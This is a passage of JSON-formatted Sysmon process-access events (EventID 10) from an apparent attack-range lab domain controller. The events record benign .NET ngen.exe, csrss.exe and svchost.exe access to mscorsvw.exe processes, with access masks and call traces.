tReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.572\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001021FE0A00}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.572","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001021FE0A00}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001021FE0A00}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001021FE0A00}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001021FE0A00}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001021FE0A00}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.713\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00103B010B00}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.713","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00103B010B00}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00103B010B00}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00103B010B00}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00103B010B00}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00103B010B00}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.760\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.760","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.760\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process 